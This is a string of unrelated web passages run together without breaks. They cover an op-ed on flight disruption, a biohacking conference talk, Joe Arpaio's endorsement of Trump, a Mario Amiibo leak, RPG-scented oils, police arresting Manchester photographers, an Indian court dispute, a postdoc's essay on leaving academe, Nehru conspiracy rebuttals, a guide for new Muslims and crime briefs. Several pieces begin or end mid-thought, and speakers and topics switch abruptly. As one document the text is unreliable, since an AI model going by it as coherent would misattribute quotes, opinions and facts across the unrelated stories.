The larger numbers bandied about by so-called experts about the cost to the economy at large should be taken with a pinch of salt. Not only is it impossible to quantify disruption on such a diverse scale, but much economic activity is merely postponed by such events rather than eliminated entirely.
More important is the psychological impact of such events. The terrorist attacks of 11 September forced many companies to re-examine the resilience of their supply chains – but that was nearly a decade ago now, and the continued march of globalisation will have left many of them vulnerable. Climate change should force business to think more about the alternatives, but it rarely does. Greens should also celebrate this timely reminder of what the world might look like when the oil runs out.
Sadly, if the stratosphere clears over Britain tomorrow, we will probably have forgotten all this by next weekend when we start booking our summer holidays or planning the fruit salad for that spring picnic.
In a presentation titled “Biohacking and the Connected Body” at Singularity University Global Summit, Hannes Sjoblad informed the audience that we’re already living in the age of cyborgs. Sjoblad is co-founder of the Sweden-based biohacker network Bionyfiken, a chartered non-profit that unites DIY-biologists, hackers, makers, body modification artists and health and performance devotees to explore human-machine integration.
Sjoblad said that the cyborgs we see today don’t look like Hollywood prototypes; they’re regular people who have integrated technology into their bodies to improve or monitor some aspect of their health. Sjoblad defined biohacking as applying hacker ethic to biological systems. Some biohackers experiment with their biology with the goal of taking the human body’s experience beyond what nature intended.
Smart insulin monitoring systems, pacemakers, bionic eyes, and Cochlear implants are all examples of biohacking, according to Sjoblad. He told the audience, “We live in a time where, thanks to technology, we can make the deaf hear, the blind see, and the lame walk.” He is convinced that while biohacking could conceivably end up having Brave New World-like dystopian consequences, it can also be leveraged to improve and enhance our quality of life in multiple ways.
The field where biohacking can make the most positive impact is health. In addition to pacemakers and insulin monitors, several new technologies are being developed with the goal of improving our health and simplifying access to information about our bodies.
Ingestibles are a type of smart pill that use wireless technology to monitor internal reactions to medications, helping doctors determine optimum dosage levels and tailor treatments to different people. Your body doesn’t absorb or process medication exactly as your neighbor’s does, so shouldn’t you each have a treatment that works best with your unique system? Colonoscopies and endoscopies could one day be replaced by miniature pill-shaped video cameras that would collect and transmit images as they travel through the digestive tract.
Singularity University Global Summit is the culmination of the Exponential Conference Series and the definitive place to witness converging exponential technologies and understand how they’ll impact the world.
Security is another area where biohacking could be beneficial. One example Sjoblad gave was personalization of weapons: an invader in your house couldn’t fire your gun because it will have been matched to your fingerprint or synced with your body so that it only responds to you.
Biohacking can also simplify everyday tasks. In an impressive example of walking the walk rather than just talking the talk, Sjoblad had an NFC chip implanted in his hand. The chip contains data from everything he used to have to carry around in his pockets: credit and bank card information, key cards to enter his office building and gym, business cards, and frequent shopper loyalty cards. When he’s in line for a morning coffee or rushing to get to the office on time, he doesn’t have to root around in his pockets or bag to find the right card or key; he just waves his hand in front of a sensor and he’s good to go.
Evolved from radio frequency identification (RFID)—an old and widely distributed technology—NFC chips are activated by another chip, and small amounts of data can be transferred back and forth. No wireless connection is necessary. Sjoblad sees his NFC implant as a personal key to the Internet of Things, a simple way for him to talk to the smart, connected devices around him.
Sjoblad isn’t the only person who feels a need for connection.
When British science writer Frank Swain realized he was going to go deaf, he decided to hack his hearing to be able to hear Wi-Fi. Swain developed software that tunes into wireless communication fields and uses an inbuilt Wi-Fi sensor to pick up router name, encryption modes and distance from the device. This data is translated into an audio stream where distant signals click or pop, and strong signals sound their network ID in a looped melody. Swain hears it all through an upgraded hearing aid.
Global datastreams can also become sensory experiences. Spanish artist Moon Ribas developed and implanted a chip in her elbow that is connected to the global monitoring system for seismographic sensors; each time there’s an earthquake, she feels it through vibrations in her arm.
You can feel connected to our planet, too: North Sense makes a “standalone artificial sensory organ” that connects to your body and vibrates whenever you’re facing north. It’s a built-in compass; you’ll never get lost again.
Biohacking applications are likely to proliferate in the coming years, some of them more useful than others. But there are serious ethical questions that can’t be ignored during development and use of this technology. To what extent is it wise to tamper with nature, and who gets to decide?
Most of us are probably ok with waiting in line an extra 10 minutes or occasionally having to pull up a maps app on our phone if it means we don’t need to implant computer chips into our forearms. If it’s frightening to think of criminals stealing our wallets, imagine them cutting a chunk of our skin out to have instant access to and control over our personal data. The physical invasiveness and potential for something to go wrong seems to far outweigh the benefits the average person could derive from this technology.
But that may not always be the case. It’s worth noting the miniaturization of technology continues at a quick rate, and the smaller things get, the less invasive (and hopefully more useful) they’ll be. Even today, there are people already sensibly benefitting from biohacking. If you look closely enough, you’ll spot at least a couple cyborgs on your commute tomorrow morning.
In a statement, Joe Arpaio said, “Donald Trump is a leader. He produces results and is ready to get tough in order to protect American jobs and families. I have fought on the front lines to prevent illegal immigration. I know Donald Trump will stand with me and countless Americans to secure our border.”
Speaking in Marshalltown, Iowa Tuesday evening, Arpaio cited Trump’s stance on illegal immigration, drugs, and his vow to protect veterans. “It’s easy for me to endorse him,” Arpaio said. “It’s just common sense. Why would I not want to endorse him? Everything that I believe in, he believes in.”
Arpaio, now 83, has been the sheriff of Maricopa County, Arizona since 1993. Despite his long tenure, he’s a highly divisive public figure. Arpaio struck out a strong nativist, anti-immigration stance long before Trump descended the escalator to announce his candidacy in June 2015. He was an outspoken supporter of Arizona’s harsh 2010 anti-immigrant law, which criminalized the failure to carry immigration documents and gave the police sweeping power to detain people suspected of being in the U.S. illegally. (The Supreme Court ruled on the law in 2012, upholding its most contentious provisions.)
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In 2013, a federal court found Arpaio guilty of racially profiling Latinos at traffic stops; he then faced a contempt of court hearing for refusing to stop. He has been the subject of thousands of lawsuits during his tenure as sheriff.
“I have great respect for Sheriff Arpaio,” Trump said in a statement about the endorsement. “We must restore law and order on the border and respect the men and women of our police forces. I thank him for his support of my policies and candidacy for President.”
Trump has made his hardline stance on illegal immigration a centerpiece of his campaign, promising to build a wall along the country’s southern border with Mexico and deport all 11 million people in the country illegally. But Arpaio is a controversial figure in law enforcement even outside his questionable treatment of undocumented immigrants. Arpaio also began the nation’s first female and juvenile chain gangs, and forced Maricopa County inmates to wear pink underwear.
Arpaio he wasn’t Trump’s only big endorsement today; Tuesday morning, evangelical leader Jerry Falwell Jr. also announced he was backing the Republican frontrunner.
Nintendo will release a gold Mario Amiibo later this year alongside Wii U party game Mario Party 10, according to a leaked posted from retailer Walmart that appeared on Reddit.
"Make this Easter golden!" reads a line from the poster, which specifically mentions that the gold Mario Amiibo will be sold "only at Walmart."
Mario Party 10 launches March 20, while Easter this year is Sunday, April 5.
This isn't the first time we've heard about a special-edition Mario Amiibo variant. In fact, gold and silver Mario Amiibo were spotted on Nintendo's own website earlier this month.
It's not uncommon for retailers to snag exclusives for Amiibo toys. After all, Shulk is exclusive to GameStop, Meta Knight can only be purchased at Best Buy, and Lucario is only available at Toys 'R Us.
Attract a new party member with ease
5 mL of scented oil in an apothecary vial
When you think of the scents associated with roleplaying games, your mind most likely turns to the smell of books, beer, and body odor. Those of us who attend conventions regularly are happy to report that the latter item is not quite as big an issue as it was in years past. Nerd whiff will never completely die, though, as there will always be that guy who rates his need for gaming above his need for a shower.
Fill your nostrils with a more pleasing aroma: that of your favorite class! Black Phoenix Alchemy Lab has blended these intoxicating scents inspired by your favorite fantasy RPG: cleric, fighter, mage, paladin, ranger, rogue, neutral, lawful, chaotic, good, and evil.
We're frankly in awe that BPAL was able to distill classes down to their essential scent. Enter the cleric's temple, where he leaves offerings for his god. Touch the blood-stained cloak of the fighter. Inhale the purple smoke created by the mage's spell, if you dare! Smell the smug superiority of the paladin in her shining white armor. Perch in a tree with the ranger, ready to loose an arrow at a passing orc. Skulk in the shadows with the rogue, sharpening your dagger as you await your next victim.
Each scent comes packaged in an amber apothecary vial with an artistic rendition of your favored class. Just a dab of this powerful oil is enough to smell adventurous all day; a little goes a long way so one bottle will last you a good while. BPAL has aimed for these to be unisex scents and we have to agree. Nobody is going to tell us that a lady can't smell like blood and steel or a guy like frankincense and myrrh!
The Council approved a resolution consenting to the creation of the Westside/Howell Mill Community Improvement District. A meeting to elect a six-member district board is to be held 11 a.m., Aug. 15, at the Five Seasons Westside Restaurant and Brewery, 1000 Marietta St. NW.
The CID could levy taxes to pay for the construction and maintenance of streets, including curbs, sidewalks, street lights and traffic signals; parks and recreation areas; water and sewer lines; parking; and public transportation, including bicycle and pedestrian facilities, according to the resolution.
The district would extend along Howell Mill and be bounded, roughly, by Collier Road on the north, Northside Drive on the east, North Avenue on the south and railroad tracks on the west. It’s a former industrial area being turned into a neighborhood of apartments, galleries, music venues and restaurants.
Watch his interview with Nessa above, where he also discusses his tour with Rihanna and his desire to collaborate with Andre 3000. When asked about music videos, he mentions wanting to avoid making what looks the same as the next man's video, and that some of his favorites from the past include those of Missy Elliott and Busta Rhymes, both of which graced the top five on our list of The 50 Best Rap Videos of the '90s.
RELATED: Green Label - 10 Best Instrumental Albums Ever
An MEN photograher trying to snap a mass brawl in Spinningfields was left astonished when police arrested him as well.
Experienced snapper Sean Wilton was covering the court appearance at Manchester Magistrates' Court of two men accused of assaulting Big Fat Gypsy Weddings star Paddy Doherty.
When two groups of men began fighting outside court in full public view of passers-by, Sean tried to take pictures of the scene.
But he was stunned when a police officer accused him of breach of the peace and bundled him into a police car.
Pictured: Violent brawl in Spinningfields outside Big Fat Gypsy Weddings court hearing
The arrest was later quashed and he was released without charge. Other M.E.N. photographers were threatened with arrest if they did not delete images they had taken. Sean, 43, said he was originally told by an officer not to take pictures and that he was obstructing them.
Sean said: “He didn’t seem to want to listen and told me that I was obstructing the police.
“I tried to explain I wasn’t obstructing and was just doing my job, but to no avail.
“When I tried to speak to him about the situation, he arrested me for breach of the peace.
“As professional photographers, we do try to conduct ourselves as professionally as possible.”
Fellow MEN photographer Steve Allen, 53, who was also threatened with arrest, said: “We were trying to take pictures of the scene as it unfolded in front of us in a public place.
“We weren’t obstructing them at in any way shape or form. They threatened to confiscate our camera gear on more than one occasion. I think they were well over the top when we were just doing our jobs.”
A police spokesman said: “A photographer was arrested to prevent a breach of the peace and on suspicion of obstructing a police officer. Officers brought the situation under control and the photographer was de-arrested and subsequently released.”
Pictured: Violent brawl in Spinningfields outside Big Fat Gypsy Weddings court hearing
MEN Comment
We report today how one of our photographers was arrested while taking pictures of a street brawl following a court hearing relating to an assault on Big Fat Gypsy Weddings star Paddy Doherty. Other MEN photographers were threatened with arrest if they did not delete images, but refused to do so.
Our photographer was later released without charge. But serious questions remain about the police's attitude to professional journalists doing their job in bearing witness to a newsworthy event in a public place in the middle of Manchester.
Wiser judgement prevailed when senior officers became involved. But this unfortunate incident is evidence of a worrying phenomenon, that some rank and file police officers no longer seem to understand or respect the role of the press.
New Delhi: The Narendra Modi government, on Wednesday, offhandedly told the Supreme Court that the latter should not interfere in the executive domain and suggested that the judiciary should better look into devising ways to tackle the huge number of pending cases.
The suggestion came from attorney general Mukul Rohatgi during the hearing of a PIL filed by some well-known people who questioned the Centre's decision to appoint former defense secretary Shashikant Sharma as comptroller and auditor general (CAG), which audits government spending.
His appointment as CAG did not appeal to the petitioner and his counsel Prashant Bhushan said that Sharma's appointment can give rise to a possible conflict of interest as he will now be auditing purchase of those defense equipments which were procured during his term as a defense secretary.
Several defense equipments were procured during his tenure, which included VVIP helicopters from Agusta Westland which are now embroiled in controversies.
A bench of Chief Justice H L Dattu and Justices A K Sikri and Arun Mishra did not accept Bhushan's plea for examining the appointment of Sharma as CAG, a constitutional post, merely on grounds of apprehension of conflict of interest and preferred to seek Auditor General's opinion on a suggestion to make the appointment process transparent.
According to a report in Times of India, Rohatgi said that Sharma was a competent person and there was no allegation against his integrity and honesty.
He also said, “If the court attempts to frame guidelines for appointment of CAG, it would be at the teeth of constitutional provisions. The constitutional mandate is to leave it to the executive. The CAG is appointed by the President on the aid and advice of the council of ministers headed by the prime minister. There is no role for the courts.”
Bhushan, substantiating his stand, said that the courts had earlier laid guidelines for appointment to constitutional posts and cited example of two old judgments of the apex court in which it took powers of the executive to select judges.
He said, “This was rightly done to maintain independence of judiciary. A similar thing could be attempted for the appointment of CAG as it is a key post to maintain transparency in government spending and keep corruption at bay.”
Responding to this, the AG exclaimed that Supreme Court's judgment of taking away of executive's power to select judges was completely wrong.
He said that the selection and appointment of judges for the higher judicial bodies was with the executive and one cannot say that judges appointed executive prior to judgment were more independent than those who were appointed afterwards.
He further retorted that as far as CAG's post is concerned then in the last 20 years government has appointed persons of impeccable integrity only and even Sharma has similar qualities. He said that the latter has exceptional career without blemish.
He advised the apex court to rather concentrate on the overflowing number of pending cases instead of taking up issues relating to appointment of constitutional figures.
Once you enter a doctoral program, the main problem isn’t necessarily that you can’t finish. I know very few people who left graduate school because they weren’t smart enough to finish — it happens, but it’s rare. More often people leave because they just decide getting a Ph.D. isn’t for them. The truth is: It’s very difficult to understand what academic life is like until you actually try it, and lots of people try it and decide it’s not a good fit.
This, then, is why you should be wary of any advice you receive from professors about graduate school: It’s coming entirely from people who decided that academe was a good fit for them.
That is what’s called a "selection problem," and it arises when the sample of data you have is generated by the process you want to try to understand. There’s nothing ill-intentioned about it, but the fact of the matter is, your professors aren’t a random sample of the general population or of people who applied to, started, or even finished graduate school. They’re professors, and so they’re probably more likely than the average person to enjoy being a professor.
As a postdoc who has decided to leave academe, I would like to offer a different perspective.
Some aspects of graduate school and academic life aren’t good for anyone — things like, for example, the weak faculty tenure-track job market in many fields or the reports of high rates of depression among graduate students. But a lot of attention is already focused on those "public bads." Instead I want to focus on the aspects of academic work and life that are selectively bad — that is, they’re bad for some people, but not for others. I suspect these aspects get short shrift in advising discussions, because most professors are in the latter group.
Before I proceed, two caveats:
What follows might read like a litany of complaints. But keep in mind: My experience in academe was, truthfully, about as smooth as it gets. I got into a very good program. I finished on time. I published. I won a dissertation award. I got a fantastic postdoc. Some of that was due to my own efforts (I worked really hard!), but a lot of it was structural: I’m a straight white dude with a wife who graciously bankrolled my intellectual dilettantism. People took me seriously at every turn, and I didn’t really give up that much to spend eight years reading and writing. For most graduate students and postdocs, my experience represents about as easy a path as you’ll find.
Second, none of the following should be read as a critique of the advising I received in graduate school. I was lucky enough to have first-rate advisers. My decision to leave academe was a personal one, but several of the following factors played a role in that.
Here is my list of lesser-known truths about academic life that you should consider before setting your sights on a faculty career.
You have to like long-term projects. With few exceptions, the most time an undergraduate has spent on a research or writing project is a few months. In academe, everything is a long-term project.
Here’s the timeline for the birth of my forthcoming article: My co-author and I began discussing the idea behind the paper in mid-2012. We wrote a draft, which took six months or so, and began presenting it at conferences in early 2013. We first submitted it to a journal later that year. It was rejected by three journals (don’t expect a quick response). The fourth journal invited us to revise-and-resubmit the article in the summer of 2015. It was accepted there in October 2015, although it won’t be published until … I actually have no idea when it will be published. As of the spring of 2017, five years after we started, I’m still waiting for it to appear in print.
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Perhaps my experience with publishing took longer than average (it was our first publication), but I doubt it’s by much. In academe, you have to either like waiting, or get used to it.
You also have to be good at managing your time over very long stretches. If your deadline and completion date are years in the future, how do you get started? Or keep going? You learn quickly how to compartmentalize large projects into many, many smaller tasks.
And yet oftentimes there aren’t many discrete tasks to accomplish. Sometimes you might just need to think about something for a very long time. I spent countless hours in graduate school literally staring at a wall, trying to compact a conceptual problem in my mind. It’s tough to know when you’re done, or when you can be done — I woke up plenty of times in the middle of the night to write things down.
You don’t need to feel like you’re succeeding. There are days when you’ll feel successful — but not many. On any given day, you may have completed 1 to 2 percent of a project, but often it’s tough to see where that piece fits into the larger whole.
The other reality of graduate school: There are simply very few milestones. You pass your comprehensive exams, your candidacy defense, and your dissertation defense. Over the course of five or six years (or more), you have three markers that tell you you’re doing well. Apart from those three, the only real professional currency you can acquire is publications. However, to put it simply, you don’t want to rely on the publication process to tell you if you’re successful.
That’s not to say the work isn’t interesting or rewarding, because it often is.
One thing my professors told me early in graduate school: You absolutely must condition yourself to fail. Constantly. For every small success I had in graduate school, I am certain I had at least a dozen failures: rejected articles, brutal conference reviews, unexpected flaws discovered in something I’d just spent days working on, etc.
These iterative failures are, at a very deep level, the essence of creating new knowledge, and are therefore inseparable from the job. If you can’t imagine going to bed at the end of nearly every day with a nagging feeling that you could have done better, academe is not for you.
You don’t care where you live. In recent years, plenty of warnings been issued about the weak tenure-track job market (too many candidates, too few openings) yet many graduate students still fail to grasp just how much they’re sacrificing control over their own future — where they will work and live — to the vagaries of a brutal, indifferent market.
I’ve heard — via friends who have served on search committees — that the number of applicants for a single tenure-track opening is routinely 100 or more. The odds, then, of being offered an interview at any one place are very low (unconditionally, say less than 5 percent). To reach a reasonably high probability of receiving an offer you will need to apply everywhere there is a job listing you might reasonably fill.
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I have heard prospective or new graduate students say things like "I wouldn’t mind starting out at a place like the University of Kansas," or some other institution they perceive to be of similarly modest prestige. Let me be clear: You won’t get a job at Kansas. Getting a job at Kansas would be fantastic and is therefore exceedingly difficult. For nearly all students outside of the very top graduate programs, a job at Kansas (or similar institution) is almost certainly your best-case scenario.
If you have family ties that prevent you from living outside a certain area, or a partner with an inflexible job, you will be very unlikely to find a tenure-track job.
You don’t mind moving frequently. Because finding a tenure-track position is very difficult, new Ph.D.s often move through a series of short-term positions that do not offer the promise of long-term employment. Many of those jobs do not offer basic benefits like health insurance. If you can publish enough during this time period, it is sometimes possible to move into a tenure-track position. However, publishing is doubly difficult in visiting and adjunct positions, because you will be teaching a large number of courses.
So while the ideal career path leads from graduate school to a tenure-track position, the one you will more likely find yourself on leads from graduate school to a series of short-term positions that will require you to move — often.
A related point: Academics’ lives are often hilariously peripatetic. I know multiple people who live hours away from their home institutions and commute in to work two to three days a week. If you arrive to graduate school single, you may soon acquire what is known as the "two-body problem," the name given to the deeply unfortunate situation in which one academic is married to another. This either complicates the problem of finding a job dramatically, provides an opportunity for the aforementioned multi-hour commute, or sets you up for a permanent long-distance relationship.
Tolerance for any of those things varies from person to person, and so they are worth pointing out before you invest six years of your life into a relatively infungible degree.
On a personal note, the last two of these factors played the biggest role in pushing me out: I didn’t want to give up control over where I lived, and I didn’t want to move frequently. That meant I needed to apply very selectively to jobs, which in turn meant that I didn’t get one.
If any of these factors sound like dimensions on which you’re unwilling to compromise, understand that academe will almost certainly be six to eight years of training for a field in which you will not find employment.
As for me, at least for now, I’m moving to the private sector. In June, I start a position at the Gerson Lehrman Group, where I’ll be designing survey instruments.
I hope that this is a useful look behind the curtain for people considering a faculty career. And I hope I haven’t been unfairly negative. There are plenty of things I loved about academe: My six years in graduate school were some of the best of my life. The research is, I think, genuinely interesting. The people are, contrary to what you might hear, mostly fantastic.
But there are pros and cons, and everyone who enters a doctoral program should do so with eyes fully open.
You will often here talk about respect for the police. In the United States we enshrine the officers hired to protect us as the vigilant heroes of our community. The underappreciated guardians that watch us while we sleep. We make movies and television shows about them and tell our children that they are heroes.
Even the Police themselves seize upon this image. On NYPD Police cars you will often see the acronym CPR (Courtesy Professionalism and Respect) and on others across the nation you will see the common “to protect and to serve.”
The problem with this is that the Police are no longer worthy of the respect of the people. When I see an officer I no longer respect him, I fear him. I fear his power and I wonder if he’s going to arbitrarily decide to ruin my day, or even my life. He has the power, and one only need to look as far as google for a litany of human rights and abuses against human dignity perpetrated by the police.
That is not to say that all cops are bad but the problem, dear reader, is that we cannot know which cops are good or bad without experience, and that has become a risk. No longer part of the community, the police have elevated themselves to paramilitary knights and lords that oversee the serfs that were once the civilians in the community they are supposed to be serving. This is a terrible perversion of law enforcement culture in our country and has come on the heels of the American Drug War and the War on Terror.
The American People in a fit of ingenuity and desperation have turned to filming the police as a last line of defense against this oppression and are being met almost universally with violence and intimidation. Just recently, a civilian was filming the police as they made an arrest and he too ended up arrested for Obstruction of Justice even though it is clear from the video he was on private property, he obeyed the officer’s instructions immediately and was over 20 feet from the arrest. The officer entered on private property, said he was intimidating him and arrested him. This is but one in a litany of sins that the American people are forced to endure from those we expect to protect us.
This is an awful tragedy, because we no longer can feel safe, not from the criminals, but from the ones that we ask to protect us. When our guardians become tyrants, it is high time to examine our government and ourselves and loudly demand that these abuses end. This is not meant to be who we are as a country. Never once did our founding fathers intend that we must quake in fear of authority.
I leave you, dear reader, with a quote from a man that said it better than me…
I wrote
about how lies and conspiracy theories were masquerading as “unknown truths about Jawaharlal Nehru”, the Congress leader and author Shashi Tharoor tweeted the piece describing it as “The truth about ‘the truth about Nehru’”.
In the light of the recent attempts to edit Nehru’s Wikipedia page, I wrote about how unverified and slanderous information about the former prime minister did the rounds on the internet – for instance, it was being said that Nehru was born in a red-light area of Allahabad and his grandfather, Gangadhar Nehru, was a Muslim.
Soon after, Anuj Dhar, author of India’s Biggest Cover-up – a book on the mystery surrounding Netaji Subhas Chandra Bose’s apparent death in a plane crash in 1945 – wrote an article, rebutting certain arguments I had made in my piece.
Dhar, a journalist-activist known for his extensive research on Netaji’s life, was recently in the news for his pivotal role in bringing declassified documents on the freedom fighter to public light. I had spoken to Dhar once while researching for an analysis piece on the controversy surrounding the alleged snooping on Netaji’s family, and his confidence in his research and for the cause had impressed me.
Dhar’s main disagreement with my piece stems from what Mridula Mukherjee, professor of history at Delhi's Jawaharlal Nehru University, had told me.
"All serious biographies of Nehru have referred to his relationship with Edwina Mountbatten and Padmaja Naidu. Most books have called the relationships platonic, but even if such relationships were not platonic, then what? They were consenting adults. Was he cheating on his long-dead wife? No. Did it affect governance? No," Mukherjee had said.
A search for "Nehru" on Google throws up results galore, with at least two conspiracy websites coming up on the first page of results. (Getty Images)
The conspiracy theory articles I quoted in my piece tried to malign Nehru saying he was a "playboy" and had "multiple affairs" with several women including Sarojini Naidu’s daughter Padmaja Naidu and Edwina Mountbatten, the wife of the last British viceroy of India, Lord Mountbatten.Dhar showcases a few declassified documents from England and attempts to prove that Nehru and Edwina indeed had a thing going and in a few cases it affected governance. But, I find his arguments far from compelling.When I shared Dhar’s article on my Facebook wall, Amit Rahul Baishya, an assistant professor at the department of English of the University of Oklahoma, US, commented : "I read the response. It seemed to me that he began by talking about your "core idea" which fell by the way. If his real gist begins after that quote from Mridula Mukherjee, is he trying to disprove 1) that the relationship was not platonic, and 2) that it came in the way of governance?""Either way, the evidence provided does not convince us of 1 or 2. Seems like a nudge nudge wink wink style of argumentation asking you to connect barely evident dots," he added.Columnist Sankar Ray wrote to me on Dhar’s article, "Edwina's daughter said the relationship was platonic. Documents, shown (by Dhar) are all conjectural, with no concrete proof. This is slanderous."The first document which Dhar refers to and is "file no PREM 11/340 is available to the researchers at the National Archives at Kew in London" is completely of no consequence. It merely documents, "…that an Indian diplomat close to Nehru suspected that British influence came in the way of the Indian statesman getting a Nobel Peace Prize." Dhar provides us with no other information with regards to this document, though he has published a picture of the file.Secondly, Dhar mentions a letter in which "the private secretary of Queen Elizabeth is seen informing prime minister Winston Churchill that, ahem, ‘time has come when it should be pointed out to Edwina by one of Her Majesty's ministers that these visits of hers to the Indian capital do not further the general interests of the Commonwealth’.In the next paragraph, Dhar highlights that the letter says, "... Edwina Mountbatten is again involved in a political skirmish in New Delhi"." He calls it "British wit".Now, the question is, as online activist Pratik Sinha asked me when I shared Dhar’s article – "Skirmish is the British wit for an affair?"It’s too much of an extrapolation, isn’t it?Then, Dhar cites that "at a ceremonial Palace party before Elizabeth's coronation in 1953, Edwina had turned up with Nehru, not her hubby - the handsome Lord Louis Mountbatten about whom it used to be said that he could charm a vulture off a corpse" and that the Playboy magazine had carried an interview with Nehru.How can that be a factor to draw any conclusion regarding Nehru’s relationship with Edwina, especially on the grounds on which Professor Mukherjee was speaking?Dhar’s last "evidence" for his argument is a document which he says show that "egged on by Nehru by her side, Edwina is seen giving a tongue-lashing to Oliver Lyttelton, the colonial secretary, over some instance of atrocity in Kenya".In this case too, as Shoaib Daniyal, a writer with the news website Scroll.in wrote to me, the question remains, "Edwina argued with a British babu over violence in Kenya and since Nehru was in the same room, ergo, they were having an affair (duh)."
(The views expressed by the writer are personal. He tweets as @saha_abhi1990)
Bill was a loving father, great coach, and a valued member of this close knit California town.
His family was the most important thing to him and our goal is to make sure they are taken care of now and in the future.
The money will be used for supporting the family and college for his son and daughter.
Bill meant a lot to this town, and so much more to his beautiful family. To have his life taken in this senseless and violent way is incomprehensible. Please give whatever you can to support his family and the legacy he leaves both in his community and at UCLA.
Police said the 28-year-old man and his friend were in KFC on Renfield Street when they were confronted by three men and a woman at 23:00 on Friday.
They decided to leave the shop without getting food but were attacked by two of the men as they made their way out.
The victim had the top half of his ear bitten off and was taken to the Royal Infirmary for treatment.
The two men responsible for the attack were last seen in Bath Lane.
One was described as white, about 18, of slim build, with dark hair and wearing a grey tracksuit with yellow writing.
The other was white, about 18 to 20, of slim build and wearing a dark jacket.
He had the name 'Scott' tattooed on the right side of his neck.
Det Con Kieron Frost said: "This would appear to a totally unprovoked attack on the 28-year-old man who had only gone into the shop with his friend to purchase something to eat prior to returning home.
· To understand seven important points related to adjusting, participating and becoming a part of the Muslim community, and some tips and pitfalls related to them.
Arabic Terms
· Sunnah - The word Sunnah has several meanings depending on the area of study however the meaning is generally accepted to be, whatever was reported that the Prophet said, did, or approved.
· Haram - Forbidden or prohibited.
Part of practicing Islam is to participate in the community of faithful in communal worship. Like any faith community, it has certain characteristics, some good and some bad. The purpose of this lesson is to help you in the process of adjusting and becoming part of the Muslim community.
First and foremost, before you meet Muslims, you should keep in mind that Islam is perfect, while Muslims are not. They are, after all, humans. You will find some Muslims who will be easy to get along with and will make great friends, while you will also run into others who you might feel are insensitive or offensive. You do not have to be the best of friends with every Muslim you see, even if they be pious. Muslims differ in their education, knowledge and practice of Islam, cultural sensitivity, and social bias. Among them are saints and criminals, homeless and millionaires, doctors and cab drivers, racists and drug addicts. You will learn many things which Islam preaches, but you will see fellow Muslims doing the opposite. All Muslims are not the same. They are imperfect. It’s a simple point worth keeping in mind. Choose as friends those Muslims who are pious, actively follow the tenets of the religion, and also are easy to get along with.
Second, most mosques and communities are socially and racially integrated, but there are others which may found in locations where a certain ethnic groups are a majority, whether it be African, Indian, Pakistani, Bengali, Bosnian, or Arabs. Others may have been built to meet the needs of a certain ethnic community, or other reasons more cultural than religious. College and university mosques tend to be more integrated. Due to lack of interaction between various ethnic groups, you may find that certain stereotypes may have been developed between members of various races, such as whites, Arabs, blacks, Asians, or Latinos. Many of these stereotypical opinions have developed due to various reasons, amongst them TV, movies. Moreover, immigrant Muslims come from diverse cultures and may not totally understand or relate to Muslims of other countries, and for that matter, new Muslims.
Third, new Muslims may have some reasonable and some unreasonable expectations. Some rightly complain of social isolation, or a lack of quality educational programs for those who have newly embraced the religion. Some, with financial problems, expect immediate monetary help from the Muslim community, a demand usually difficult to meet. It is a good idea to find a family that will “adopt” the new Muslim and help them grow and develop social bonds. Try to involve yourself in various social activities, , accept invitations, and invite others over. In social gatherings, be prepared to repeat your conversion or reversion story often! If you are asked an inappropriate question, just say you don’t feel comfortable discussing it. Many Muslims don’t have experience dealing with new Muslims, and thus may not be sensitive to certain issues or questions.
Fourth, many times you will be given advice on matters of Islamic belief and practice, whether that advice be Islamicly correct or incorrect.. You should realize that every Muslim is not an expert on Islamic Law or creed. Being an Arab does not automatically qualify a person to interpret the Quran. The majority of Muslims have not undergone any formal study and practice Islam according to what they were taught from youth by the elders of their family. Many Muslim practices over time have been influenced by culture, and many times they actually conflict with the true tenets of the religion. Some Muslims may unknowingly have been influenced by some sects regarded heretical, or much worse, some may actually attribute to them. You might become confused by the multiple opinions you may hear. With time and some knowledge, you will be able to distinguish between the two. You will make your life easier if you ignore, for the time being at least, the advice of a person who fails to provide any evidence. All beliefs and practices in Islam must be taken from the Quran or a confirmed Sunnah of the Prophet, may the mercy and blessings of Allah be upon him. Also, try to get some well known websites and reputable people of knowledge as a reference. Reading, interaction, and prayer will help you learn, grow, and mature. In short, be cautious of those with good intentions but little knowledge.
Fifth, don’t be discouraged by Muslims who are too aggressive in approaching you. Some people might attempt to teach you everything they know in an hour. Somehow they feel it’s their duty to tell you what they feel is the most important ‘haram’ (a prohibited deed) you must rid your life of. They lack wisdom, patience, and perhaps knowledge. Do not be deterred. Find a ‘teacher’ you are comfortable with.
Sixth, many new, single Muslim sisters may feel an intense pressure to get married. There is no doubt that marriage is an important part of Islamic life, but allow yourself some time to adjust in the new faith, and learn the proper etiquette of Islamic life and marriage. Finding a compatible, practicing spouse is likely to help a new Muslim in learning and practicing Islam, but there is no need to rush into marriage and end up in divorce!
Instead of finding crustaceans, a couple diving for lobster under a North Key Largo bridge found human bones.
The Monroe County Sheriff's Office said Monday that a man and woman were diving for lobster under the Card Sound Bridge that connects mainland Florida with the Florida Keys when they spotted a skull and several other bones.
They flagged down a Fish and Wildlife officer who was patrolling the area, and the officer called homicide detectives at the sheriff's office.
The sheriff's office says detectives so far don't know who the bones belonged to, how long they were there or what may have caused the person's death.
Want to Spend a Night in Jail? It Just Takes $40
Want to spend the night in the slammer? Minnesota's Chisago County Sheriff's Office can help make it happen. The department is letting people stay overnight inside the new Public Safety Center to see the facility and help deputies train before inmates arrive. It just costs $40 per person. (Published Friday, April 27, 2018)
The bones have been turned over to the medical examiner.
Moore declared, “I believe Trump is going to focus much of his attention on the four blue states in the rustbelt of the upper Great Lakes—Michigan, Ohio, Pennsylvania and Wisconsin.” That article appeared on July 21. Trump was in Scranton, Pennsylvania, before he went to Toledo.
Trump has found the potential key to victory because he realizes that the Democratic Party has given up on these workers, who were once considered to be their main constituency. These workers have become even more alienated from their jobs, as Marx predicted, because their jobs no longer exist. And according to Trump, it’s because the Democrats—especially the Clintons—embraced bad trade agreements like NAFTA, the North American Free Trade Agreement.
Smart liberal journalists smell the coffee. “Donald Trump’s Working-Class Appeal Is Starting To Freak Out Labor Unions” was the headline over an article in The Huffington Post. But because the unions are endorsing Mrs. Clinton, the Trump candidacy has the potential to drive a huge wedge between the well-paid union leaders and the workers they claim to represent.
“Hillary Clinton has supported virtually every trade agreement that has cost this country millions of jobs and is on the exact opposite side from rank-and-file union workers whose jobs she has destroyed,” Trump says. “Clinton has helped negotiate the [Trans-Pacific Partnership] and is its biggest booster—there is no doubt she would enact it if given the chance—yet more betrayal of union voters whose jobs would vanish as a result of this deal.”
